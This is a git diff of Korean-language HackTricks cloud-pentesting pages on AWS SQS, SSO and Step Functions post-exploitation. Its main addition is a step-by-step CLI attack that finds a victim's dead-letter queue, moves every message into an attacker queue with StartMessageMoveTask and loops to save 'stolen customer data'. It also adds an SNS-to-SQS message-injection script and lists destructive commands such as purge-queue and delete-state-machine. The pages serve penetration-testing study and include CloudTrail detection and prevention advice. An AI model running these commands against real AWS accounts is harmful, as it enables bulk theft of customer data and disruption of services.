+**Real-world example:** +1. **E-commerce application**이 SQS를 통해 고객 주문을 처리한다. +2. **일부 주문이 실패한다** (결제 문제, 재고 문제 등) 그리고 DLQ로 이동된다. +3. **DLQ에 수주/수개월치의 실패한 주문이 누적된다**, 고객 데이터가 포함되어 있음: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **공격자가 SQS 권한이 있는 AWS 자격증명을 획득한다.** +5. **공격자가 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견한다.** +6. **개별 메시지에 접근하려 시도하는 대신** (느리고 눈에 띔), 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송한다. +7. **공격자는** 한 번의 작업으로 모든 과거 민감 데이터를 추출한다. + +## 요구 조건 +- 출발 큐는 어떤 큐의 RedrivePolicy에 의해 참조되는 DLQ로 구성되어 있어야 합니다. +- IAM 권한 (손상된 피해자 주체로 실행): +- DLQ(출발지)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됩니다. +- SSE-KMS가 활성화된 경우: 출발지 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`. + +## 영향 +네이티브 SQS API를 사용해 DLQ에 누적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드)를 고속으로 유출할 수 있습니다. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 크로스-어카운트에서도 작동합니다. + +## 악용 방법 + +- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 괜찮음). +- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 해당 ARN을 가져옵니다. +- 피해자 DLQ에서 당신의 대상 큐로 메시지 이동 작업을 시작합니다. +- 진행 상황을 모니터링하거나 필요 시 작업을 취소합니다. + +### CLI 예제: E-commerce DLQ에서 고객 데이터 Exfiltrating + +**시나리오**: 공격자가 AWS 자격증명을 탈취했으며, e-commerce 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하는 SQS를 사용하고 있음을 발견했습니다. + +1) **피해자 DLQ 발견 및 조사** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **attacker-controlled destination queue 생성** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **대량 메시지 탈취 실행** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **도난당한 민감한 데이터를 수집** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### 교차 계정 관련 주의사항 +- 대상 큐는 피해자 주체가 `sqs:SendMessage`를 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(및 사용되는 경우, KMS grants/permissions). + +## 이 공격이 효과적인 이유 + +1. **Legitimate AWS Feature**: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지하기 어렵습니다 +2. **Bulk Operation**: 느리게 하나씩 접근하는 대신 수천 건의 메시지를 빠르게 전송할 수 있습니다 +3. **Historical Data**: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적합니다 +4. **Under the Radar**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않습니다 +5. **Cross-Account Capable**: 권한이 허용되면 공격자의 자체 AWS 계정으로 exfiltrate할 수 있습니다 + +## 탐지 및 방지 + +### 탐지 +의심스러운 `StartMessageMoveTask` API 호출에 대해 CloudTrail을 모니터링하세요: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### 예방 +1. **최소 권한**: `sqs:StartMessageMoveTask` 권한을 필요한 역할에만 제한하세요 +2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보를 설정하세요 +3. **교차 계정 정책**: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토하세요 +4. **DLQs 암호화**: 제한된 키 정책으로 SSE-KMS를 사용하세요 +5. **정기적 정리**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 하세요 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md deleted file mode 100644 index eff8396c6..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ /dev/null @@ -1,73 +0,0 @@ -# AWS - SQS 포스트 익스플로이테이션 - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 자원을 소모할 수 있습니다. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -공격자는 SQS 큐에서 메시지를 수신, 삭제 또는 가시성을 수정할 수 있으며, 이로 인해 메시지 손실, 데이터 손상 또는 해당 메시지에 의존하는 애플리케이션의 서비스 중단이 발생할 수 있습니다. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. - -### `sqs:DeleteQueue` - -공격자는 전체 SQS 큐를 삭제할 수 있으며, 이로 인해 메시지 손실이 발생하고 큐에 의존하는 애플리케이션에 영향을 미칠 수 있습니다. -```arduino -Copy codeaws sqs delete-queue --queue-url -``` -**잠재적 영향**: 삭제된 큐를 사용하는 애플리케이션에 대한 메시지 손실 및 서비스 중단. - -### `sqs:PurgeQueue` - -공격자는 SQS 큐에서 모든 메시지를 삭제할 수 있으며, 이로 인해 메시지 손실 및 해당 메시지에 의존하는 애플리케이션의 잠재적 중단이 발생할 수 있습니다. -```arduino -Copy codeaws sqs purge-queue --queue-url -``` -**잠재적 영향**: 삭제된 메시지에 의존하는 애플리케이션의 메시지 손실 및 서비스 중단. - -### `sqs:SetQueueAttributes` - -공격자는 SQS 큐의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 줄 수 있습니다. -```arduino -aws sqs set-queue-attributes --queue-url --attributes -``` -**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다. - -### `sqs:TagQueue` , `sqs:UntagQueue` - -공격자는 SQS 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. -```bash -aws sqs tag-queue --queue-url --tags Key=,Value= -aws sqs untag-queue --queue-url --tag-keys -``` -**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. - -### `sqs:RemovePermission` - -공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스에 대한 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다. -```arduino -arduinoCopy codeaws sqs remove-permission --queue-url --label -``` -**잠재적 영향**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md new file mode 100644 index 000000000..624d400f7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md @@ -0,0 +1,83 @@ +# AWS - SQS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +attacker는 SQS 큐에 악의적이거나 원치 않는 메시지를 전송할 수 있으며, 이는 데이터 손상, 의도치 않은 동작 촉발, 또는 리소스 고갈을 초래할 수 있습니다. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potential Impact**: 취약점 악용, 데이터 손상, 의도하지 않은 동작, 또는 자원 고갈. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +공격자는 SQS 큐의 메시지를 수신, 삭제하거나 메시지 가시성을 변경할 수 있어, 해당 메시지에 의존하는 애플리케이션에 메시지 손실, 데이터 손상 또는 서비스 중단을 초래할 수 있습니다. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potential Impact**: 민감한 정보 탈취, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단. + +### `sqs:DeleteQueue` + +공격자는 전체 SQS 큐를 삭제하여 메시지 손실을 초래하고 해당 큐에 의존하는 애플리케이션에 영향을 줄 수 있습니다. +```bash +aws sqs delete-queue --queue-url +``` +**잠재적 영향**: 삭제된 큐를 사용하는 애플리케이션에서 메시지 손실 및 서비스 중단. + +### `sqs:PurgeQueue` + +공격자는 SQS 큐의 모든 메시지를 삭제(purge)할 수 있으며, 이로 인해 메시지 손실과 해당 메시지에 의존하는 애플리케이션의 서비스 중단이 발생할 수 있습니다. +```bash +aws sqs purge-queue --queue-url +``` +**잠재적 영향**: 메시지 손실 및 삭제된 메시지에 의존하는 애플리케이션의 서비스 중단. + +### `sqs:SetQueueAttributes` + +공격자는 SQS 큐의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 줄 수 있습니다. +```bash +aws sqs set-queue-attributes --queue-url --attributes +``` +**Potential Impact**: 잘못된 구성으로 성능 저하, 보안 문제 또는 가용성 감소로 이어질 수 있습니다. + +### `sqs:TagQueue` , `sqs:UntagQueue` + +공격자는 SQS 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. +```bash +aws sqs tag-queue --queue-url --tags Key=,Value= +aws sqs untag-queue --queue-url --tag-keys +``` +**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책의 중단. + +### `sqs:RemovePermission` + +공격자는 SQS queue와 연관된 정책을 제거하여 정당한 사용자나 서비스의 권한을 취소할 수 있습니다. 이는 큐에 의존하는 애플리케이션의 정상적인 동작에 장애를 초래할 수 있습니다. +```bash +aws sqs remove-permission --queue-url --label +``` +**잠재적 영향**: 권한이 무단으로 제거되어 큐에 의존하는 애플리케이션의 정상 동작이 중단될 수 있음. + +### 더 많은 SQS Post-Exploitation Techniques + +{{#ref}} +aws-sqs-dlq-redrive-exfiltration.md +{{#endref}} + +{{#ref}} +aws-sqs-sns-injection.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..205e391eb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,154 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +{{#include ../../../../banners/hacktricks-training.md}} + +## 설명 + +SQS 메시지 이동 작업을 악용하여 `sqs:StartMessageMoveTask`를 사용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자 제어 큐로 리디렉션해 탈취합니다. 이 기법은 AWS의 합법적인 메시지 복구 기능을 악용하여 DLQ에 오랜 기간 쌓인 민감한 데이터를 exfiltrate합니다. + +## Dead-Letter Queue (DLQ)란? + +Dead-Letter Queue는 주요 애플리케이션에서 메시지 처리에 실패했을 때 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다: +- 처리되지 못한 민감한 애플리케이션 데이터 +- 오류 세부 정보 및 디버깅 정보 +- 개인 식별 정보(PII) +- API 토큰, 자격 증명 또는 기타 비밀 +- 비즈니스 중요 거래 데이터 + +DLQ는 실패한 메시지의 '묘지' 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지남에 따라 민감한 데이터가 누적되기 때문에 가치 있는 표적이 됩니다. + +## 공격 시나리오 + +**실제 사례 예시:** +1. **E-commerce application**이 SQS를 통해 고객 주문을 처리함 +2. **일부 주문이 실패**함(결제 문제, 재고 문제 등)으로 DLQ로 이동 +3. **DLQ에 수주/수개월치의 실패한 주문이 누적**되어 고객 데이터 포함: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **공격자가 SQS 권한을 가진 AWS 자격 증명을 탈취** +5. **공격자가 DLQ에 수천 건의 실패한 주문과 민감한 데이터가 있음을 발견** +6. **개별 메시지 접근을 시도하는 대신**(느리고 눈에 띔), 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송 +7. **공격자가 한 번의 작업으로** 모든 과거 민감 데이터를 추출 + +## 요구 사항 +- 소스 큐는 DLQ로 구성되어 있어야 함(적어도 하나의 큐 RedrivePolicy에 참조되어야 함). +- IAM 권한(침해된 피해자 주체로 실행): +- DLQ(소스)에 대해: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- 대상 큐에 대해: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됨. +- SSE-KMS가 활성화된 경우: 소스 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`. + +## 영향 +**잠재적 영향**: 네이티브 SQS API를 사용하여 DLQ에 누적된 민감한 페이로드(실패한 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 고속으로 exfiltrate할 수 있음. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 교차 계정에서도 작동함. + +## 악용 방법 + +- 피해자 DLQ ARN을 식별하고 해당 큐가 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음). +- 공격자 제어 대상 큐를 생성하거나 선택하고 해당 큐의 ARN을 확보합니다. +- 피해자 DLQ에서 대상 큐로 메시지 이동 작업을 시작합니다. +- 진행 상황을 모니터링하거나 필요한 경우 취소합니다. + +### CLI 예시: E-commerce DLQ에서 고객 데이터 Exfiltrating + +**시나리오**: 공격자가 AWS 자격 증명을 탈취했고, 전자상거래 애플리케이션이 실패한 고객 주문 처리 시도를 포함한 DLQ를 사용하는 SQS를 사용하고 있음을 발견함. + +1) **피해자 DLQ 찾기 및 조사** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **attacker-controlled destination queue 생성** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **bulk message theft를 실행** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **탈취한 민감한 데이터 수집** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### 계정 간 주의사항 +- 대상 큐는 피해자 principal이 `sqs:SendMessage`를 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(사용하는 경우 KMS grants/permissions 포함). + +## 왜 이 공격이 효과적인가 + +1. **정상적인 AWS 기능**: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지되기 어려움 +2. **대량 작업**: 개별적으로 느리게 접근하는 대신 수천 개의 메시지를 빠르게 전송 +3. **이력 데이터**: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적함 +4. **눈에 띄지 않음**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않음 +5. **계정 간 가능**: 권한이 허용되면 공격자의 AWS 계정으로 exfiltrate 할 수 있음 + +## 탐지 및 방지 + +### 탐지 +의심스러운 `StartMessageMoveTask` API 호출을 CloudTrail에서 모니터링하십시오: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### 예방 +1. **최소 권한 원칙**: `sqs:StartMessageMoveTask` 권한을 필요한 역할로만 제한 +2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보 설정 +3. **교차 계정 정책**: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토 +4. **DLQs 암호화**: SSE-KMS를 제한된 키 정책과 함께 사용 +5. **정기적인 정리**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 함 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..c2101c69f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 @@ +# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy + +{{#include ../../../../banners/hacktricks-training.md}} + +## 설명 + +공격자가 제어하는 SNS topic이 피해자 SQS 큐로 메시지를 게시할 수 있도록 SQS 큐의 resource policy를 악용합니다. 동일 계정에서는 SNS topic에 대한 SQS 구독이 자동으로 확인되지만, 크로스-계정 상황에서는 큐에서 SubscriptionConfirmation 토큰을 읽어와서 ConfirmSubscription을 호출해야 합니다. 이로 인해 하류 소비자가 암묵적으로 신뢰할 수 있는 무단 메시지 injection이 가능해집니다. + +### 요구 사항 +- 대상 SQS 큐의 resource policy를 수정할 수 있는 권한: `sqs:SetQueueAttributes` (피해자 큐에 대해). +- 공격자 계정에서 제어하는 SNS topic을 생성/게시/구독할 수 있는 권한: `sns:CreateTopic`, `sns:Publish`, `sns:Subscribe`. +- 크로스-계정 전용: 확인 토큰을 읽고 `sns:ConfirmSubscription`을 호출하기 위해 피해자 큐에 대한 임시 `sqs:ReceiveMessage` 권한. + +### 동일 계정에서의 악용 +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### 계정 간 주의사항 +- 위의 큐 정책은 외부 `TOPIC_ARN` (attacker account)을 허용해야 합니다. +- 구독은 자동으로 확인되지 않습니다. victim queue에 대해 자신에게 임시로 `sqs:ReceiveMessage` 권한을 부여하여 `SubscriptionConfirmation` 메시지를 읽은 다음 해당 `Token`으로 `sns confirm-subscription`을 호출하세요. + +### 영향 +**잠재적 영향**: 신뢰된 SQS 큐로 SNS를 통해 지속적으로 원치 않는 메시지를 주입하여 의도치 않은 처리, 데이터 오염 또는 워크플로 남용을 유발할 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 76% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index e08f2c69f..34b94d88e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - SSO & identitystore Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SSO & identitystore 자세한 내용은 다음을 확인하세요: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -이 권한은 권한을 방해하는 데 사용할 수 있습니다: +이 권한들은 사용자의 권한을 무력화하는 데 사용될 수 있습니다: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index 467a8c931..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Step Functions Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다. - -> [!NOTE] -> -> - 상태 기계를 삭제하면 해당 기계와 연결된 모든 버전 및 별칭도 삭제됩니다. -> - 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다. -> - 현재 하나 이상의 별칭에 의해 참조되는 상태 기계 버전을 삭제할 수 없습니다. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Potential Impact**: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단. - -### `states:UpdateMapRun` - -이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수치를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 방해할 수 있습니다. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **잠재적 영향**: 성능 저하 및 중요한 워크플로우의 중단. - -### `states:StopExecution` - -이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다. - -> [!WARNING] -> 이 작업은 **express state machines**에서 지원되지 않습니다. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Potential Impact**: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 